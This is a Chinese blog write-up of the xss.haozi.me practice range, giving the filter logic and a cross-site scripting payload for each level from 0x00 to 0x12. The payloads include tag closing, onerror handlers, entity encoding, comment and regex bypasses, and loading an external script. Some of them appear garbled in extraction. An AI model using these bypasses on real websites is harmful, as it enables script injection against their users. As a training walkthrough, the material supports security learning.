• xss靶场练习之xss.haozi.me解析及答案


    目录

    0x00

    0x01

    0x02

    0x03

    0x04

    0x05

    0x06

    0x07

    0x08

    0x09

    0x0A

    0x0B

    0x0C

    0x0D

    0x0E

    0x0F

    0x10

    0x11

    0x12


    0x00

     先看源码,没有任何限制,所以很简单,直接抛出一个常规的payload就过了

    <script>alert(1)script>

    0x01

    看源码里注入点是在标签中的,  所以用上一题的方法是不会被解析的, 所以要去构造一个标签, 闭合, 就可以注入

    textarea>	<script>alert(1)script> <textarea>

    当然这个题也有其他的做法:利用error事件来绕过(因为src是空, 所以肯定会报错, 所以可以通过错误调用事件来成功注入xss):

    textarea><img src=""onerror=alert(1)>

    0x02

     看源码可以知道题目是想把值转化为字符串, 然后显示在输入框内,  这样前两题的标签闭合注入也就不行了,所以换个想法借鉴sql注入的方法,  将前面的双引号闭合, 然后注入新的标签:

    "> <script>alert(1)script>

    和前面一样可以继续利用error来绕过

    "> textarea><img src=""onerror=alert(1)>

    0x03

     看题目,发现他将括号, 方括号都被过滤了,但是我们可以利用``来替代

    <script>alert`1`script>

    0x04

    刚才``能代替,现在这个也不行了

     可以考虑利用编码来绕过

    <img src="" onerror=alert(1)>

     这里(代表“(”

            )代表”)“

            1代表”1“

    0x05

     我们可以知道注入点是注释符之间,但是注释符的后面被替换成😂, 以此来防止注释被闭合;

    但是这也难不倒我,我只需要知道注释符有两种方式

    <-- XXXXXXXXX -->

    所以我们可以用第二种方法来绕开他

    --!><script>alert(1)script>

    0x06

     由题可知这个题考察的是正则表达式;;;分析一下括号里的(/auto|on.*=|>/ig, '_')

    可知它匹配了:  auto 、以on开头并且以=结尾的字符串 >

    所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合

     但是没有匹配换行符,那我们就用换行符来绕过

    1. type="image" src="" onerror
    2. =alert(1)

    0x07

     和上道题一样也是正则表达式,所以我们来分析等号后面的/<\/?[^>]+>/gi

    中括号的用法:  [abc] => 匹配abc中的任意一个

    所以说[^>]的含义是匹配了除了^的任意字符的一次或者多次

    所以总结的来说就是过滤了所有以/<\/?[">]开头>结尾的字符

    所以我们在最后面不加>就可以正常绕过了

    0x08

    看题目很明显他过滤了标签导致无法闭合,所以用换行将它分开以绕过

    1. ><img src="" onerror="alert(1)">

    0x09

     由题可知,这个题限制了URL,后面的一切按照正常的闭合就可以

    https://www.segmentfault.com">" onerror="alert(1)

    0x0A

     由题可知这个题用到了@,它会在URL中会解析@后面的网址,使用 @ 会以 @ 前的字符串作为用户名来访问 @ 后面的网址

     如果你的浏览器不行,那就换一个浏览器,火狐的是成功的

    https://www.segmentfault.com@xss.haozi.me/j.js

    0x0B

     利用HTML实体编码进行绕过,它将所有的字母都换成了大写,所以要将alert(1)进行HTML实体字符转换

    <img src="" onerror="alert(1)">
    

    0x0C

     和上一道题差不多,只不过是这次过滤了script,并且将字母转为了大写,所以我们还是利用编码来绕过

    <img src="" onerror="alert(1)">

    0x0D

     由题可知,这个题过滤了斜杠/,但是我们要闭合注释,所以我们需要使用换行的方式来绕过

    1. alert(1)
    2. -->

    0x0E

     分析题目可知,我们发现这个题和第十个题目很相似,也是需要指定到其他的地方来进行绕过的,所以将标签里的第一个字母前加上_,并且在h1标签里,并且用阿拉伯字母ſ替换s的大写

    <ſcript src="https://xss.haozi.me/j.js" >

    0x0F

     分析题目可以将一些符号进行编码,所以就直接考虑将src闭合就好

    看起来使用了HTML实体编码来防止xss,但是了解浏览器解析规则(顺序)即可知道在属性值中的HTML实体编码会被浏览器成功解析,所以此处的HTML实体编码毫无用处

    a'),alert(1)//

    0x10

     分析题目可知:此题我们什么都不用干,直接输入就可以

    alert(1)

    0x11

     分析题目可知此处过滤后得到的字符其实还与原字符有着相同的作用(例如: " 被换成了 \" ,其实真正被转义的字符是第二个 \ ,而不是 "),所以此处的过滤也是毫无用处,和上面那个题一样

    "),alert(1)//

    0x12

     分析题目可知与上一关卡同理,此处的过滤也是毫无用处,使用转义符号将先将\转义

    \"),alert(1)//
  • 相关阅读:
    应该了解的数据库系统高性能利器-WAL
    Ubuntu安装postgresql并连接navicat
    同态加密为什么能被称为密码学的“圣杯”?
    第十章 将对象映射到 XML - 控制关系映射的形式
    FastJson 配置
    体系结构28_多处理机(2)
    DSPE-PEG-cRGD,磷脂-聚乙二醇-靶向穿膜肽cRGD,一种靶向功能材料
    Linux 删除大量小文件的两种方案 | 运维进阶
    ELK企业级日志分析平台
    ASEMI整流桥KBPC3510W参数特性,KBPC3510W封装尺寸
  • 原文地址:https://blog.csdn.net/lyz_yyds107/article/details/126059820